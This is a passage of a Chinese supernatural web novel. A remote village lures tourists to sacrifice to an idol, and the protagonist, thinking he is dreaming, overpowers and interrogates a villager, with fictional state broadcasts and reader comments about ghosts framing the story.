一直以来,汪家村因地理位置偏远,村民们种出的农产品很难销售出去,往往需要自己找渠道,还经常被层层盘剥,到手的钱少得可怜。
但在摆了神像的一周后,竟有收购商主动找到村里,以远高于往常的价格收购产品,甚至不挑拣品质。
“你们看,这不是神明显灵了吗?”汪文全笑着对村民们说。
原本持怀疑态度的村民们开始动摇。随着更多人开始虔诚祭拜神像,村里的“好运”也越来越多——干旱季节突然下雨,生病的牲畜不药而愈,甚至有人在田边挖出了几块形状奇特的石头,被收藏家高价收购。
两个多月过去,整个汪家村已经完全沉浸在对“赐福真君”的信仰中,家家户户日夜烧香祭拜,村口还专门建了一座小祠堂。
然而就在一周前,汪文全突然召集全村人开会,表情异常凝重。
“真君不满意了。”他的声音低沉而严肃,“祂对我说,我们的供奉不够虔诚,祂即将收回对汪家村的赐福。”
这个消息在村民中引起了恐慌。
没有了神明的赐福,他们将回到从前那种贫困潦倒的日子。
“那我们该怎么办?”老支书焦急的问。
汪文全沉默片刻,仿佛在做激烈的思想斗争,最终沉声道:“真君说要祭人。”
这句话像一块石头投入平静的湖面,瞬间引起了轩然大波。
如果是在两个月前,村民们肯定会对这种说法嗤之以鼻,甚至可能直接将神像丢弃。但现在,利益的诱惑已经蒙蔽了他们的理智。虽然也有少数村民表示不安和反对,但在切身利益和集体压力下,他们最终选择了沉默。
“献祭自己人肯定是不行的。”会议最后,有人提议,“要找外面的人。”
于是,汪家村开始在通往村子的路口挂起了彩灯和横幅,上面写着“农家乐体验”、“采摘节”等字样。
同时,几个年轻人被派到镇上的车站和旅游点,发放汪家村特色农产品体验的宣传单。
为了能更快达成目的,汪家村还众筹了一些钱,交给旅行社做了宣发。
今天,他们期待已久的“客人”终于来了——一辆旅游小巴停在村口,导游带着十几位游客走下车,好奇的打量着这个装饰一新的小山村。
“欢迎,欢迎!”老支书带着一群村民迎了上去,脸上堆满笑容,眼底却闪烁着诡异的光芒。
导游小李是第一次带团来这个偏远的村庄。上周在镇上旅游中心,他遇到了汪家村的人,对方提出了一个极具诱惑力的合作方案:带人来汪家村体验农家生活,每位游客都有丰厚的返点。
按人头拿钱,也就是说他只要带人来,不用费尽心思骗人消费,就有收入。小李一听顿时就乐了,深怕人反悔,短短几天就组了个团来。
69 第 69 章
◎本章是公开后民众反应、节目内容,慎买◎
【CCTV-1】特别节目
《走近灵异现象:科学的视角》
回播
主持人:周欣(央视主持人)
特邀嘉宾:
林学阳 (特委会首席科学顾问)
赵立华 (科学院院士, 物理学家)
董树南 (北京大学心理学教授)
王威凯 (特殊部门专家)
宴泠昭轻点屏幕暂停,浏览名单。
人名他虽然一个都不认识, 但括号里的标注他认识——普通人都熟知的那种就不提了,只说特委会,特委会全称特殊事务管理委员会,是特殊部门下的一个组,主要面对广大群众。
看完,宴泠昭再次点击屏幕, 继续播放。
背景音乐缓缓响起,舞台布置简洁庄重,四位嘉宾与主持人围坐成半圆。
主持人周欣:“各位观众晚上好,欢迎收看《走近灵异现象:科学的视角》特别节目。今晚我们将与各位专家一起, 以严谨的科学态度解析灵异现象。在节目开始前,我想强调一点:面对未知, 恐惧是正常的, 但理性和科学永远是我们最可靠的指南针。”
话音落下, 镜头转向四位嘉宾。
周欣:“首先请林教授为我们介绍一下,特委会是如何定义灵异现象的?”
林学阳:“特委会对灵异现象的定义是:一类超出当前主流科学理论框架,但确实客观存在的能量实体或空间异常。从某种意义上说,这就像古人面对闪电和雷鸣, 他们无法解释, 但这些现象今天已有完整的科学解释。”
周欣:“赵院士, 从物理学角度如何看待这些现象呢?”
赵立华:“从物理学视角,我们认为所谓的“鬼”实际上是一种特殊的能量聚合体。传统物理学关注的是我们熟悉的四种基本力:引力、电磁相互作用力、弱相互作用力、强相互作用力。但当代物理学前沿研究表明, 可能存在第五种基本力——我们暂且称之为“阴性能量力场””
太专业了, 听不懂。
宴泠昭手动跳过。
周欣:“王专家, 公众非常关心的一个问题是:并非所有死者都会变成鬼, 那么这种转化的机制是什么?”
王威凯:“根据我们多年的研究,灵异实体的形成大致有两种主要机制:一种是情绪能量积累型,通常源自生前强烈的负面情绪,如极度怨恨、不甘或绝望;另一种则与特定的时间、地点或环境条件有关,我们称之为“条件触发型”。不过必须强调的是,无论哪种机制,形成的概率都极低。我国每年自然死亡人数超过千万,但记录在案的新增灵异实体不超过千例。”
赵立华:“补充一点,从物理学角度,这个转化过程需要满足特定的磁场和能量条件,这就是为什么死亡并不必然导致灵异实体的形成。”
周欣:“董教授,从心理学角度,您如何看待公众对灵异现象的恐惧?”
董树南:“恐惧来源于对未知和失控的担忧。人类进化史上,未知的危险往往会触发我们的警戒系统。但理解可以减轻恐惧大家要知道的是,从国家发现鬼怪到今天,已经过去了八十年,但总数也不过才百起,其中像造成医院惨案的这种,至今也不过才一起,没错,就是医院的这起”
周欣:“那么,普通人如何保护自己呢?”
王威凯:“特委会近期将向全社会推广“三知一防”策略:一知:知晓基本灵异特征。二知:知晓潜在风险区域。三知:知晓异常时的表现方式,以及基本防护措施其中最有效的防护包括:避免长期独处于废弃建筑或极端环境中,保持积极心态避免极端负面情绪,发现异常及时拨打特殊事件热线”
周欣:“现在我们来看看观众的提问。第一个问题:灵异实体是否有等级或分类?”
林学阳:“是的,我们根据能量强度和行为特征将灵异实体分为六个等级。从最低的E级,到最危险的S级。普通公民最有可能接触到的绝大多数是E级或D级,这类实体有危险性,但只要你意志坚强,它们就拿你没办法,因为它们的手段通常都是通过幻觉,让受害者自己精神崩溃
我知道大家一定很关心医院事件的鬼怪是什么等级——它是极其罕见的S级。
遇到这种就没办法了,别说普通人,军人遇到,死亡率都很高。不过好消息是S级的鬼怪至今我国也只发现了四例,其中一例,就是大众都知道的造成医院惨案的鬼怪,目前已经被消灭了。”
周欣:“第二个问题:有没有“驭鬼者”这样能控制灵异实体的人存在?”
林学阳和王威凯相视一眼。
王威凯:“这个问题我可以谨慎的确认,确实存在少数个体具备与灵异实体互动的特殊能力。但这类人数极其稀少,且能力形成机制复杂多样,不是简单训练就能获得的。国家已经建立了专门的识别和培训体系,如果公民发现自己可能具备相关能力,可以通过特殊渠道联系我们进行评估。”
周欣:“时间关系,今天的节目即将结束。请各位嘉宾对全国观众说一句话。”
林学阳:“未知不等于不可知,科学终将照亮每一个角落。”
赵立华:“保持好奇,但更要保持理性。”
董树南:“学习是消除恐惧的最好方式。”
王威凯:“国家一直在默默守护,请相信我们的专业和决心。”
周欣:“感谢各位专家,也感谢全国观众的收看。灵异现象或许神秘,但人类探索真相的勇气和智慧更为可贵。”
宴泠昭向下滑进入下一个视频,或者说节目回放。
【教育部】全国中小学《认识灵异,科学防护》专题教育教材内容节选
女老师站在讲台上,语气温柔的说道:
“亲爱的小朋友们,我们今天要学习一个新的知识——关于“灵异现象”。这听起来可能有点吓人,但就像夜晚的影子一样,当我们打开灯,了解它的本质,就不会害怕了。”
“灵异现象是指一些特别的能量形成的“小精灵”。它们很少很少出现,比看到彩虹还要罕见呢!这些“小精灵”不是故事书里吓人的鬼怪,而是自然界的一部分,就像风、雨、雷电一样,都是大自然的现象。”
说着,女老师按了下手中的遥控器,PPT转入下一张。
是一个很可爱的灵魂形状的卡通“小精灵”配图。
“小朋友们,虽然遇到灵异现象的概率非常非常低,但我们还是要学习保护自己:
1. 如果感到害怕或看到奇怪的东西,第一步应该做什么?对了!告诉爸爸妈妈或老师!
2. 记住特殊事件小卫士电话:*****-****。这是专门保护小朋友的好帮手!”
嗯小学的说的果然温柔,估计主要是希望小朋友们别太害怕。可现实吧,鬼对人类充满恶意,哪有这么可爱。
并且人家不光是吓人,本来就是奔着要人命去的。
宴泠昭摇了摇头,手动跳过,进入初中版教学。
和小学的老师相比,初中的老师严肃多了。
不过也不能确定人家真的是老师,毕竟,这只是个教学视频,可能是专门叫人拍的,形象什么的也是经过要求的。
“灵异现象从科学角度可以理解为特殊能量(磁)场的体现。虽然以目前的科学水平无法解释其本质,但这并不意味着它们超出科学范畴。历史上,许多曾被视为“神秘现象”的事物,如闪电、极光、黑洞等,随着科学发展都获得了合理解释。”
“面对未知,恐惧是正常反应,但不应被恐惧控制。以下几点可以帮助你建立健康的心理防线:
1. 培养科学思维,用理性分析代替盲目恐惧
2. 学会情绪管理,避免长期处于极端负面情绪状态
3. 掌握基本防护措施:避开废弃建筑等高风险场景
4. 熟记求救流程:发现异常→保持冷静→找到安全的地方呆着→拨打特殊事件热线。”
“好了,现在分组讨论:如果有人说看到了“奇怪的东西”,我们应该怎么做?如何区分正常现象与灵异现象?”
来感觉了,好困。
宴泠昭打了个哈欠,再次手动跳过。
这次是高中版教程。
“从物理学角度分析,灵异实体可理解为一种特殊的能量聚合态。这种能量形态具有以下特征:
1. 意识关联性:部分实体表现出与人类意识互动的特性
2. 环境依赖性:在特定环境条件下活跃度增强
国家已发展出一套完整的检测系统,能够准确监测相关能量波动”
“作为新时代的青年,面对灵异现象的科学认知,我们应当:
1. 坚持科学态度,反对迷信传播
2. 理性看待网络信息,不传谣不信谣
3. 支持国家相关研究工作,促进科学进步
4. 若发现自身具备特殊能力,及时向学校老师或相关部门报告”
更典了。梦回高中上物理课时听天书的绝望,以及背政治考点的麻木。
宴泠昭默默上滑,看下一个视频。
【医院事件遇难者集体悼念仪式】
画面里,会场布置庄严肃穆,主席台上方悬挂着黑色横幅:“深切悼念医院事件遇难同胞”。
会场中央摆放着158盏白色蜡烛,象征158位逝者。家属区坐满了身着黑色服装的遇难者亲人,许多人默默垂泪。
10:00 整,全场起立,肃立默哀三分钟。
10:03 ,主持人发表悼词:
“今天,我们怀着无比沉重的心情,一起悼念在医院事件中不幸逝去的158位同胞。这是一次前所未有的悲剧,也是人类文明发展过程中必将面对的挑战。
这些逝者中,有奋战在医疗一线的白衣天使,有忍受病痛仍不放弃希望的患者,有陪伴亲人的家属,也有为保卫公共安全而牺牲的特殊部门成员。他们的离去,是国家的损失,是每个公民心中的痛。
我代表中央、国.务院和全国人民,向遇难者表示深切哀悼,向他们的家属表示诚挚慰问。国家不会忘记,人民不会忘记。
此次事件也向我们揭示了一个我们必须面对的真相——人类的认知尚有局限,世界的奥秘仍在探索中。但我坚信,华夏民族五千年的文明智慧,现代科学的不懈探索,以及我们共同的勇气和决心,必将引领我们战胜一切挑战。
让我们化悲痛为力量,在新的认知维度下,继续前行。我们将建立纪念设施,永远铭记这一天,铭记逝者,也铭记人类探索未知的勇气。”
台下许多家属无法抑制悲痛,低声啜泣。
10:30 特委会主任吕深非发言:
“作为特殊事务管理委员会的负责人,我必须承认,我们的工作还有不足。但我向全国人民保证,我们将全力以赴,加强预警系统建设,完善应急处置机制,构建更安全的社会环境”
10:45 集体献花环节。
遇难者家属依次上前,在象征逝者的白蜡烛旁放下一朵白色菊花。许多人跪地祈祷,场面极为令人动容。
11:00 悼念仪式结束。
国家宣布将在原医院址建立纪念园,作为对逝者的纪念。
宴泠昭也在心中为遇难者哀悼了一分钟,然后点开评论区。
逝者安息:看了直播,泪目了那些蜡烛,那些白花,每一个都是一个生命,一个家庭的支柱。愿逝者安息,生者坚强。
钓鱼不空军:主持人的讲话很有力量,承认未知是勇气的体现。期待国家能投入更多资源研究这些现象,让我们的世界更安全。
花不语:期待医院纪念园的建设。
乾坤未定:我弟弟就在那个医院感谢国家没有掩盖真相,至少我知道他是怎么离开的。但无论如何,他都不会回来了(心碎.jpg)
Wait:看到很多国外媒体也在关注这次事件和应对方式。坦白说,我们的处理方式比预想中要开明和科学得多。希望这能推动全球范围内的相关研究合作。
小满:我看国外说我们疯了,世界上根本没有鬼。
疯狂你过哥:国情不同,国外哪里敢承认,承认了就等着游行抗议吧(大笑.jpg)
卡因:为啥要抗议?
吃西瓜不吐籽:国外是资本主义,前两年一场森林大火灭了足足三个月,而能灭都是附近能烧的烧没了,从这就能看出他们是什么德行。同理,如果鬼怪真的存在,你猜他们国家会不会管他们,所以如果一旦证实鬼怪是存在的,国外必大乱(吃瓜.jpg)
龙傲天:虽然国家说现在鬼怪很少,但以我这么多年来阅览全书的经验,指不定哪天就疯狂涌现,然后出现什么雾气隔离各个国家。等到一切结束,不出意外就剩我们国家,以及国外一些富豪寡头大家族等。咦,这么说,如果真到了那天,我国岂不是无痛成为蓝星唯一话事人?
求男频别玉玉玉了:@龙傲天傲天,收手吧,你现在最主要的是卸载某红柿子及某点软件。
全国巡游棺材铺:各位,我要上武当山求仙了!
青衣行:我家就在武当山附近,建议你别来,人挤人,全是人,已经限购门票了哈,来了也进不去。以及,@全国巡游棺材铺你来什么武当,看你名字,你应该去湘西哈。
苗疆火锅味:嘻嘻,@全国巡游棺材铺欢迎~
梦想去走走:求开修仙学校、异能学校、非凡学校我贼能吃苦!
灵气复苏:看我id——这是真的要灵气复苏了哇,我就说,老祖宗传下来的知识有鼻子有眼,根本不像编的!梦一个以后全民修仙的未来~
鸡蛋灌饼:我国十四亿人,信不信到时候十三亿邪修(憨笑.jpg)
鸡蛋灌饼加香菜:实则不然,没那么少(憨笑.jpg)
酸菜鱼(又酸又菜又多余):那先从国外下手吧,反正真出事了,以他们的国情肯定大多数人会被放弃,不如便宜了我们——进万魂幡去吧(憨笑.jpg)
米粒:魔鬼,你们太魔鬼了,不过我喜欢
白月光与朱砂痣:央视的节目你们应该都看了吧,承认了确实有特殊型人才。所以赶尸的、玩蛊的、学道的、阴阳先生灵媒纸匠——你们都出来亮个相吧!(星星眼.jpg)
宴泠昭:“”
这些应该都是没有的,朱德宏说了,他是目前全国唯一的特殊型人才。
打了个哈欠,宴泠昭看了眼屏幕右上角的时间,现在是凌晨两点半。关上手机,将手机放到枕边,然后翻了个身,闭上眼睛,酝酿睡意。
慢慢的,宴泠昭感到眼皮逐渐变得沉重,身体如同被无形的绳索缓缓拉入柔软的黑暗。意识在清醒与沉睡之间轻轻摇摆,如同湖面上的一片落叶,随着水波起伏。
就在他即将坠入深眠的边缘,耳朵捕捉到一阵微弱而诡异的声响。那是一种细微的窸窸窣窣声,如同指尖轻轻刮过纸面,又似无数细小的脚爪在地板上移动。声音时断时续,若有若无,仿佛存在于现实与梦境的缝隙之间。
他的神经末梢传来一丝凉意,却无法唤醒变得沉重的身体。在半梦半醒的朦胧状态中,宴泠昭无法确定这是真实的动静,还是做梦的幻听
70 第 70 章
◎梦境=全息游戏◎
2060年10月19日
凌晨三点。
“窸窸窣窣——”
“啪嗒啪嗒啪嗒”
这个声音莫名耳熟。宴泠昭在迷蒙的意识边缘努力辨认。
像是微风中沙沙作响的纸张, 又似枯枝上小心翼翼移动的生物,逐渐逼近、愈加清晰, 最终在他身边戛然而止。
空气凝固了一瞬。
随后,他感到某种极轻的活物爬上了他的身体。那份重量几乎可以忽略不计,却又确凿无疑的存在着。
宴泠昭眉头紧锁,但身体仿佛被无形的绳索捆绑,无法摆脱半梦半醒的泥沼。
就在他挣扎间,一种细细的、柔韧的东西在他脸上轻轻扫过, 带来一阵微痒的触感,像是某种生物的触须
触须?
一个形象骤然在宴泠昭的脑海中具象化。
——蟑螂。
体型微小、重量轻盈、喜欢到处乱爬,头上还长着一对触角。所有特征都完美契合。
这一认知如同冰水浇灌,瞬间让宴泠昭全身发凉。
他对蟑螂并非单纯的恐惧, 而是发自本能的厌恶与排斥。这些以垃圾为食、在阴暗下水道中穿行的生物,身上不知携带着多少病菌。更可怕的是, 当你发现一只蟑螂, 意味着你的住所已经藏匿着一整个蟑螂家族。
并且, 蟑螂是会吃人的。
不得不说很多人都弄错了,以为蟑螂只是单纯的咬人,但实际上不是的,它咬人的伤口之所以很小, 是因为人类对它们而言实在太过庞大, 只能吃几口。
宴泠昭努力挣扎, 终于撑开了双眼,不过身体其他部位依然无法动弹。
当视野清晰的那刻, 他怔住了。
眼前并非基地的房间, 而是一片广阔的墨色天穹, 无边无际的笼罩着整片大地。身下不是柔软的床铺, 而是略带湿气的泥土。余光中,隐约可见及膝的杂草随风摇曳。
宴泠昭试着活动四肢,发现身体已恢复自由,立即警觉地坐起身来。接着环顾四周,确认自己身处某座山峦之中,随后轻轻揉了揉刚才被“触须”扫过的脸颊。
再低头细看,周围一圈不知道叫什么名字的植物中有一类植物长得细长柔软,稍微有点风就左右轻摆。
或许,那所谓的触须,就是它被微风吹动时刮蹭过自己脸庞留下的感觉。
那声音是怎么回事?
估计就是幻听他对基地的卫生条件还是很信任的。
宴泠昭眨了两下眼睛,不想了。又面无表情地掐了一下自己的手臂。
没有痛感。
梦?但梦的质感是如此真实,他的意识前所未有的清晰——以往的梦境总是雾蒙蒙的,像隔着一层薄纱。但此刻,每一丝风吹草动,每一缕月光照耀,都栩栩如生,仿佛他的亲身经历。
所以,是清醒梦了。那么,该如何从这场清醒梦中醒来?
说起来,他曾听说过,清醒梦可能导致大脑无法区分现实与虚幻,从而引发人格分裂。
他以前也从未有过这种情况。
宴泠昭陷入沉思,怀疑是不是因为他错误的判断自己病情已有好转,减少了治疗,才导致病情加重,以至今晚的异常。
看来醒来后,他得再找一趟董医生。
至于现在
宴泠昭随意选择了一个方向,迈步前行。这是他第一次体验如此真实的清醒梦,感觉宛如置身全息游戏,新奇而令人兴奋。
既然如此,不妨四处探索一番
不知走了多久,一座村庄出现在视野中。
从天色判断,梦境世界此时应该是深夜,不知道有没有还没睡的村民。
宴泠昭怀着好奇心向村庄走去,全然没有考虑可能存在的危险。毕竟,这是在自己的梦里,他就是无所不能的“神”。
踏入村庄,宴泠昭环顾四周,果然没有看到任何人影。他信步来到最近一户人家的窗前,向内窥视。
屋内漆黑一片,没有人形轮廓,显然无人在家。
这里必须说一下不同于城市的长明灯火,乡村的夜晚如果没有明亮的月光照耀,便是伸手不见五指。所幸梦境世界中的月亮硕大而圆润,银辉虽不足以驱散所有黑暗,却能让人辨别周围的轮廓。
宴泠昭已经完全把自己当做游戏玩家了,这户人家瞧瞧,那户人家看看。
——哟,有户人家居然没锁门。
随即,他推开那扇虚掩的门,正大光明地走进院子。
典型的南方农村院落风格,屋檐下挂着成串的干辣椒和玉米,墙角堆着劈好的柴火,齐齐码着。墙边搭着瓜架,丝瓜藤正茂盛,黄花开了,衬着绿叶,底下吊着几条鲜嫩翠绿的丝瓜。
宴泠昭继续四处张望,没有发现人影,重复之前的动作,走到人家窗户前向内探视。
正当他观察时,一道阴影从后方悄然笼罩了上来。光线被挡住,宴泠昭下意识转身望去,见是一名眼神凶狠的中年男子。
男人对宴泠昭扯了扯嘴角,试图露出友善的笑容。然而有些人的面相天生如此,即使是微笑,也难掩凶相。
按理说,私自闯入他人家中还被当场发现,宴泠昭应该感到尴尬和心虚。确实也是如此,但宴泠昭转念一想,这是他的梦,于是立刻理直气壮起来。
“你有什么事?”他淡然问道。
中年男人:“?”
他抬头张望,确认这就是自己家。
“这里好像是我家吧,应该是我问你有什么事,还有,你是谁。”男人语气中带着警惕。
哦,原来是村民NPC。
宴泠昭敷衍的回答:“我是来玩儿的。”
玩家=来玩的。
很合理,没说错。
***
汪梁鹏打量着面前身材高挑、容貌出众的青年,与电视上精心打扮过的明星不相上下;身着一套休闲装(实际是睡衣),不知道是什么牌子,但看料子很好。杵在那儿,让周围的环境都变得明亮了几分。
于是,汪梁鹏很快得出结论:这肯定是个有钱人。
加上对方说是来玩的,那应该就是昨天抵达的那群游客之一了。
不过,怎么会有人落单?
实际上,汪梁鹏刚刚参与完绑架行动回来——村民们趁着游客半夜熟睡之际,悄然下手。
汪梁鹏也没多想,毕竟游客们被分散安排在村里各家借宿。值得一提的是,他家并没有接待游客。
刚才,汪梁鹏就是去协助其他村民绑架人去了。
按照汪文全的要求,村里上上下下所有人都参与了此次行动:“只有大家都是一伙的,才不会有人背叛。”
“你大半夜的到我家来干啥?”汪梁鹏人活到中年,还是第一次干这种坏事,内心紧张如擂鼓,表面上努力装作一副若无其事的样子。
“睡不着,随便逛逛。”青年回答道。
闻言,汪梁鹏心思一动,佯装随口一问:“就你一个人?”
宴泠昭:“嗯。”
那太好了!
汪梁鹏暗暗松了口气,脸上露出更加热情的笑容:“进去喝口水吧。”
说话间,他不着痕迹地将手背在身后,却不知这些小动作在宴泠昭眼里是如此明显。
但宴泠昭依然丝毫不担心。都说了这是他的梦,即使真有危险,难不成还能反应到现实里去?
见宴泠昭点头应下,汪梁鹏脸上的笑容更加真切,他推开门,做出“请”的手势。等宴泠昭进入后,他也随即跟进,然后轻轻关上门,门合上的瞬间发出一道几不可闻的响声。
汪梁鹏关上门的刹那,面上的笑容迅速褪去,取而代之的是一脸狠意。
“你随便坐,我去给你倒水。”
宴泠昭点点头,但并没有坐下,而是对房间里挂着的一幅农村风景画产生了浓厚兴趣,走过去仔细欣赏。
汪梁鹏装作走向厨房,眼睛却一直黏在宴泠昭身上。在接近到一定距离后,他悄悄从腰间抽出一根粗绳,握在手心,脚步放轻,一点点接近毫无防备的“猎物”。
就在汪梁鹏准备将绳索套上宴泠昭脖子的那一刻,宴泠昭突然弯腰,一边看向画框底部,一边用指腹蹭了下。
“你这画都积灰了,没擦过吗?”宴泠昭说道。
汪梁鹏扑了个空,绳索划过空气,发出轻微的“嗖”声。他迅速收回手,假装是在拿墙上挂着的毛巾。
“啊嗯,对。”汪梁鹏含糊的应道,眼中闪过一丝懊恼。
“有空的话还是擦擦吧。”宴泠昭建议道。
汪梁鹏干笑两声,重新调整策略。他拿起旁边一个看起来颇有分量的陶瓷茶壶,装作要去倒水,实则再次接近宴泠昭的背后,准备砸向宴泠昭的脑袋。
就在茶壶高高举起的瞬间,宴泠昭忽然打了个喷嚏,身体向前一倾,恰好躲过了从头顶呼啸而来的攻击。
“不好意思,我对灰尘过敏。”——当然是假的。
宴泠昭揉揉鼻子,转身面对汪梁鹏。
汪梁鹏手中的茶壶尴尬地悬在半空,脸上的肌肉抽搐了一下,僵硬的笑道:“没关系,我我这就去倒水。”
宴泠昭看了一眼男人手中的茶壶,心想这NPC的演技太拙劣了,逻辑漏洞百出。但这不正是梦境的魅力所在吗?荒谬却有趣。
汪梁鹏走向厨房,额头已冒出细密的汗珠。他拿出一把菜刀,深吸一口气,准备放手一搏。
转身的一瞬,他看到青年正站在窗边,欣赏月色。
“今晚的月亮真大啊。”宴泠昭神情冷淡的感叹道,完全没看向汪梁鹏,轻声喃喃:“这梦境的细节还不错,挺真的。”
汪梁鹏没听清宴泠昭的后一句话,但他也不在意就是了。握紧菜刀,缓缓靠近。一步、两步、三步举手,挥刀!
眼看终于要得逞了,宴泠昭却突然蹲下身子。
“嗯?这是什么?”
汪梁鹏的菜刀再次劈空,他的呼吸变得粗重。这个城里来的家伙,是练过的吗?怎么每次都能恰到好处的避开?
宴泠昭将地上的一粒玉米粒捡起,捻在指腹间把玩,随后站起来,转身面对已经气喘吁吁的汪梁鹏,微微一笑:“你的水倒好了吗?”
汪梁鹏的脸因憋气和懊恼而涨得通红,额上青筋暴突。现在这情形就算是瞎子也能看出青年是故意的了。
既然被发现了,汪梁鹏也不演了,啐了一口痰,怒吼一声:“去他娘的!”举刀直冲宴泠昭,再也不顾任何伪装。
宴泠昭眼神一冷,身形微侧,轻松避开刀锋。接着右手如闪电般伸出精准抓住男人持刀的手腕,稍一用力,一道清脆的响声,菜刀“哐啷”落地。
汪梁鹏还未来得及发出痛呼,就被一个干脆利落的过肩摔重重砸在地上,而后一只脚用力踩在他的胸口,将他牢牢钉在地面。
整个过程不超过三秒,快得让人反应不过来。
“你的演技真的很差。”宴泠昭俯视着地上的男人,顿了下,语气平静的道,“为什么要攻击我?”
汪梁鹏偏过头紧闭双唇,一副宁死也不说的样子。
宴泠昭也不急,就这样看着他。
不过双方也没有僵持太久,因为宴泠昭突然想起之前特训时学的知识里有一个是关于如何扭转人体骨头让人失去反抗能力的内容。
——可惜的是理论知识虽然丰富,现实里却一直没有实践的机会。
但,眼下不就有了。
宴泠昭一把捉住男人的右手,手指在几个关节点用力一按,随即一扭。
“咔嚓”骨头错位的声音清脆悦耳。
“啊啊啊啊!”汪梁鹏发出撕心裂肺的惨叫。
居然一次成功。
这下是真的手感很火热了。
宴泠昭默默看向男人的左手。
男人见状,惊恐的哀求:“不!不要!求你了!我”招字还没来得及说出口。
“啪!”又是一道清脆的响声。
“啊啊啊啊!”
“有趣,声音竟然不一样。”宴泠昭像个认真做实验的学生,“明明手法一样。可能跟骨密度有关?”
男人痛得浑身颤抖,哆哆嗦嗦的抬头对上宴泠昭毫无情绪波动的眼睛,顿感自己就像一块猪肉。
这人简直就是魔鬼!变.态!
十分钟后。
汪梁鹏的两条胳膊和两条腿均呈现出不自然的角度,整个人疼得冷汗直流,意识模糊。
宴泠昭若有所思的看着男人的脖子:“脊椎的结构更为复杂,特别是颈椎理论上,如果在第三和第四颈椎之间施加恰当的扭转力”
汪梁鹏见宴泠昭的目光落在自己的脖子上,仿佛看到了死神的镰刀即将挥下。
“求你了,我招!我全都招!你听我说吧!”汪梁鹏哭喊道,眼泪和鼻涕混作一团。
其实早在青年掰断他右手的时候他就想招了,但青年根本不听!
实验得差不多了的宴泠昭终于没有再装听不到,“说来听听。”
“我们我们整个村子都在祭拜一个神像”汪梁鹏抽噎着交代,“汪文全从外面带回来的说是只要献祭,就能得到好处昨天来的游客,都是我们准备的祭品”
这个剧情发展很经典。
宴泠昭点点头:“所以,你本来是想把我也抓起来当祭品?”
汪梁鹏拼命点头:“对对不起我也是被逼的这都是汪文全和老支书的主意!与我无关啊!”
“有意思。”宴泠昭抬手将额上的碎发随意往上一拨,露出光洁饱满的额头,以及那双完整显露出来的在黑暗中幽邃如墨的双眸,“这个梦境的剧情设计得还挺完整。邪教祭祀、村庄阴谋有恐怖小说的感觉了。”
汪梁鹏一脸茫然,依稀听见青年在自言自语什么“梦境”、“剧情”。莫名其妙的,果然精神不正常。不过此刻他也没有多余的精力去思考这些了,剧烈的疼痛占据了他的全部感官。
“那么。”宴泠昭歪了歪头,“其他游客被关在哪里?”
“祠、祠堂下面的地下室。”汪梁鹏虚弱的回答。
“祠堂在哪?”
“你出门后沿着路往左手边直走,就能看到了。”
宴泠昭闻言朝门口走去。
汪梁鹏松了口气,刚感到劫后余生的庆幸,就见青年突然停下脚步,回头问道:“神像叫什么?”
汪梁鹏咽了口唾沫:“蚀蚀日真君”
【作者有话说】
放手一搏吧,别顾虑太多~
70-80
71 第 71 章
◎救人◎
宴泠昭回忆了一番。确定自己对蚀日真君这个神号没有一点印象。
也正常, 毕竟是在梦里,也许这只是他的大脑随机拼凑出的一个名字而已。
无所谓了。
他推门离开了汪梁鹏的家, 冷夜的空气扑面而来,有点冷。
别说,这个清醒梦很真实——要不是他掐自己没有感觉,都要怀疑是真的了。
月光如流水般倾泻而下,为水泥村道铺上一层朦胧的银辉。
依照汪梁鹏的提示,宴泠昭左转步入主村道, 沿着月色笼罩的小路前行。
夜风轻拂过脸庞,带着细微的湿气与泥土芬芳。远处传来几声犬吠,在寂静的夜晚显得格外突兀。
走了大约一公里,一座祠堂逐渐进入视野。
这应该就是汪梁鹏说的祠堂了。
正当宴泠昭准备靠近时, 祠堂的大门突然被从里面推开,接着两个身影从里面走了出来, 随即一左一右守在门口。
宴泠昭立刻停下脚步, 闪入路边的灌木丛中。他蹲身贴近地面, 呼吸放轻,身体融入黑暗,如同一只潜行的猎豹。
借着月光,他清晰的看见那两人都是村民打扮:一个皮肤黝黑, 身材魁梧;另一个瘦小, 面色蜡黄。宴泠昭耐心等待着, 同时观察周围地形,寻找最佳接近路线。
嗯可以从这边过去, 绕到后面。
计划好行动路线, 宴泠昭像影子一样悄无声息地移动。借着灌木和树丛的掩护, 他成功绕到了祠堂的后方。
“好困, 还有4个小时才换班。”皮肤黝黑的村民打了个哈欠,“那啥,你看着点,我眯一会儿,然后你把我叫起来,换你眯一会儿。”
另一个村民随口道:“你睡吧。反正咱们村很少有人来,而且这个时间,也不会有第二批游客来。”
宴泠昭:“。”
这守卫也太松懈了,简直就是业余中的业余。不过仔细想想,也很合理——谁会大半夜跑来一个偏远山村观光?这里又不是什么豪华度假村,更不是酒店,没理由有“夜间游客”。
皮肤黝黑的村民靠在门框上,顺势滑坐到地上,调整了一下姿势,闭上眼睛。不出三分钟,震耳欲聋的鼾声如雷贯耳响起。
这鼾声仿佛具有某种魔力,让他的同伴也开始连连打哈欠,眼皮止不住地下坠。
确认周围只有这两名守卫,没有其他人巡逻。宴泠昭弯腰捡起旁边一块拳头大小的石头,掂了掂重量,对着醒着的那个村民比了比,计算投掷力度和角度,确保一击即中。
然后屏息,手臂轻轻后摆,随即猛然发力。
“咻!”石头如同离弦之箭,在月光下划过一道优美的弧线,精准地击中那名还在强撑的守卫。
“嗵”的一声闷响,那人直挺挺地倒在地上。
宴泠昭并未立即现身,而是静静等待了约莫两分钟,确认没有任何异常动静,才悄然接近。
他轻盈地跃过围墙,落地时几乎没有发出任何声响,而后走到两名守卫面前,对着那个仍在呼呼大睡的村民脖颈处控制好力道一砸,确保对方会昏迷很长一段时间,不会在关键时刻醒来制造麻烦。
搞定。
宴泠昭迈步跨过门槛,踏入祠堂内部。
祠堂内部空间不大,但布置得肃穆庄严。入眼处是一排排红木长凳,墙上悬挂着各式各样的符咒和祭祀用具,空气中弥漫着浓郁的檀香和烛油气味,熏得人感官不适。
祠堂正中央的神台上,端坐着一尊约两米高的神像。神像头戴高冠,面目狰狞,双目圆睁如铜铃,嘴角向上扬起,形成一个不自然的笑容。
宴泠昭凝视着这尊神像,本能的厌恶在心中升起。即使知道这只是一场梦,他也感受到了一种发自内心的排斥。
更加确定了心中邪神的猜测,宴泠昭开始仔细搜索祠堂的每一个角落,寻找可能通往地下室的入口。
祠堂面积不大,很快他就排除了大部分区域。最终,他的目光落在神像后方的地面上,那里的一块地砖似乎与周围的纹理略有不同。
